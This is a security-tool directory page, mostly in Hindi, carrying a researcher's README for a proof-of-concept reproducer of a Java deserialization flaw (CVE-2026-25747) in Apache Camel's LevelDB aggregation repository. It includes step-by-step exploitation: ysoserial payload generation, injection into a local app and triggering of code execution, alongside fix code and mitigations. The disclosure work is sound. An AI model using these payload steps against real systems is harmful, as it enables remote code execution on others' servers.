Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-25747 — CVE-2026-25747 - Camel LevelDB डिसीरियलाइज़ेशन भेद्यता | Kitploit
उपकरण/GitHubGitHub/oscerd/cve-2026-25747
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHuboscerd/cve-2026-25747

CVE-2026-25747

CVE-2026-25747 - Camel LevelDB डिसीरियलाइज़ेशन भेद्यता

रिपॉजिटरी देखें
27 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

LevelDB डिसीरियलाइज़ेशन भेद्यता रीप्रोड्यूसर

यह प्रोजेक्ट Apache Camel के LevelDB एग्रीगेशन रिपॉजिटरी में एक Java डिसीरियलाइज़ेशन भेद्यता का प्रदर्शन करता है, जो CVE-2024-23114 (जो Cassandra एग्रीगेशन रिपॉजिटरी को प्रभावित करता था) के समान है।

भेद्यता सारांश

PropertyValue
घटकcamel-leveldb
प्रभावित क्लासDefaultLevelDBSerializer.java
भेद्य विधियाँdeserializeKey(), deserializeExchange()
CWECWE-502: अविश्वसनीय डेटा का डिसीरियलाइज़ेशन
प्रभावरिमोट कोड निष्पादन (RCE)
प्रभावित संस्करणसभी संस्करण जिनमें 4.17.0 शामिल है (परीक्षण के समय अनफिक्स्ड)

तकनीकी विवरण

DefaultLevelDBSerializer क्लास बिना किसी फ़िल्टरिंग के रॉ ObjectInputStream का उपयोग करती है:

root@kitploit:~
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
    try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
        return (String) ois.readObject();  // NO FILTERING!
    }
}

// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    return deserializeExchange(camelContext, buffer, b -> {
        try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
            return (DefaultExchangeHolder) ois.readObject();  // NO FILTERING!
        }
    });
}

इसकी तुलना फिक्स्ड Cassandra इम्प्लीमेंटेशन से करें (Camel 4.4.0 से):

root@kitploit:~
// CassandraCamelCodec.java - PROTECTED
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
    ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
    objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
    // Filter: "java.**;org.apache.camel.**;!*" - blocks gadget classes
    return objectIn.readObject();
}

आवश्यक शर्तें

  • Java 17+
  • Maven 3.8+
  • ysoserial (पेलोड जनरेशन के लिए)

पुनरुत्पादन चरण

चरण 1: एप्लिकेशन बनाएं और प्रारंभ करें

root@kitploit:~
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run

चरण 2: LevelDB डेटाबेस प्रारंभ करें

root@kitploit:~
# First, initialize the LevelDB database (creates directory and adds a test entry)
curl http://localhost:8080/exploit/init

अपेक्षित आउटपुट:

root@kitploit:~
LevelDB initialized successfully!
Database path: /tmp/leveldb-exploit/aggregation.db
Repository name: myrepo
Added test exchange with key: test-key

Now you can inject a malicious payload with POST /exploit/inject

चरण 3: दुर्भावनापूर्ण पेलोड जनरेट करें

ysoserial डाउनलोड करें और पेलोड जनरेट करें:

root@kitploit:~
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Generate payload that executes a command (e.g., open calculator, touch file, etc.)
# For Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt

# For macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt

# For Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt

चरण 4: LevelDB में पेलोड इंजेक्ट करें

root@kitploit:~
# Inject the malicious serialized object into LevelDB
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  -d @payload.txt

अपेक्षित आउटपुट:

root@kitploit:~
Malicious payload injected into LevelDB!
Payload size: XXXX bytes
Key: myrepo^@malicious-key

The payload will be deserialized when:
1. The application restarts and recovers aggregations
2. A get() operation is performed on this key
3. The scan/recover mechanism runs

चरण 5: डिसीरियलाइज़ेशन ट्रिगर करें (RCE!)

root@kitploit:~
# Trigger the vulnerability by reading from LevelDB
curl http://localhost:8080/exploit/trigger

यह सभी कुंजियों पर पुनरावृत्ति करेगा और repo.get() को कॉल करेगा जो डिसीरियलाइज़ेशन को ट्रिगर करता है!

चरण 6: शोषण की पुष्टि करें

root@kitploit:~
# Check if the command was executed
ls -la /tmp/pwned

यदि फ़ाइल /tmp/pwned मौजूद है, तो शोषण सफल रहा!

हमले के वेक्टर

भेद्यता कई मार्गों से ट्रिगर की जा सकती है:

  1. एप्लिकेशन रीस्टार्ट: जब Camel प्रारंभ होता है, तो यह LevelDB से अधूरे एग्रीगेशन को पुनर्प्राप्त करता है
  2. रिकवरी तंत्र: आवधिक रिकवरी स्कैन संग्रहीत एक्सचेंजों को डिसीरियलाइज़ करता है
  3. प्रत्यक्ष पहुंच: रिपॉजिटरी पर कोई भी get() कॉल डिसीरियलाइज़ेशन को ट्रिगर करता है

शोषण की शर्तें

सफल शोषण के लिए:

  1. LevelDB तक लेखन पहुंच: हमलावर के पास LevelDB डेटाबेस फ़ाइल में लिखने की क्षमता होनी चाहिए

    • साझा फाइलसिस्टम
    • समझौता किया गया स्टोरेज
    • फ़ाइल लेखन की अनुमति देने वाली कोई अन्य भेद्यता
  2. क्लासपाथ पर गैजेट लाइब्रेरी: शोषण योग्य गैजेट चेन वाली लाइब्रेरी मौजूद होनी चाहिए

    • commons-collections:3.2.1 (CommonsCollections1-7 गैजेट्स)
    • org.springframework:spring-core (Spring गैजेट्स)
    • कई अन्य (ysoserial देखें)

CVE-2024-23114 के साथ तुलना

पहलूCassandra (CVE-2024-23114)LevelDB (यह मुद्दा)
स्थिति4.4.0 में फिक्स्ड4.17.0 में अनफिक्स्ड
ObjectInputStreamClassLoadingAwareObjectInputStream का उपयोग करता हैरॉ ObjectInputStream का उपयोग करता है
डिसीरियलाइज़ेशन फ़िल्टर"java.**;org.apache.camel.**;!*"कोई नहीं
JIRACAMEL-20306अभी तक दर्ज नहीं किया गया

अनुशंसित समाधान

Cassandra के समान समाधान लागू करें:

  1. रॉ ObjectInputStream के बजाय ClassLoadingAwareObjectInputStream का उपयोग करें
  2. सुरक्षित डिफ़ॉल्ट के साथ कॉन्फ़िगर करने योग्य ObjectInputFilter जोड़ें
  3. डिफ़ॉल्ट फ़िल्टर: "java.**;org.apache.camel.**;!*"

DefaultLevelDBSerializer.java के लिए उदाहरण समाधान:

root@kitploit:~
private String deserializationFilter = "java.**;org.apache.camel.**;!*";

public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
    try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
            new ByteArrayInputStream(buffer))) {
        ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
        // ... rest of deserialization
    }
}

शमन

जब तक कोई फिक्स जारी नहीं होता:

  1. फ़ाइल एक्सेस प्रतिबंधित करें: सुनिश्चित करें कि LevelDB फ़ाइलें केवल Camel एप्लिकेशन द्वारा लिखने योग्य हों
  2. गैजेट लाइब्रेरी हटाएं: यदि संभव हो, तो commons-collections 3.x जैसी भेद्य लाइब्रेरी हटाएं या अपग्रेड करें
  3. वैकल्पिक सीरियलाइज़र का उपयोग करें: DefaultLevelDBSerializer के बजाय JacksonLevelDBSerializer कॉन्फ़िगर करें
  4. नेटवर्क सेगमेंटेशन: LevelDB एग्रीगेशन का उपयोग करने वाले सिस्टम को अलग करें

फ़ाइलें

root@kitploit:~
potential-leveldb/
├── pom.xml                          # Maven configuration with vulnerable deps
├── README.md                        # This file
└── src/main/java/com/example/
    ├── Application.java             # Spring Boot entry point
    ├── LevelDBRoute.java           # Camel route using LevelDB aggregation
    ├── StringAggregationStrategy.java
    └── ExploitController.java      # REST endpoints for exploitation

अस्वीकरण

यह रीप्रोड्यूसर केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है। स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध उपयोग न करें।

टूल डाउनलोड करें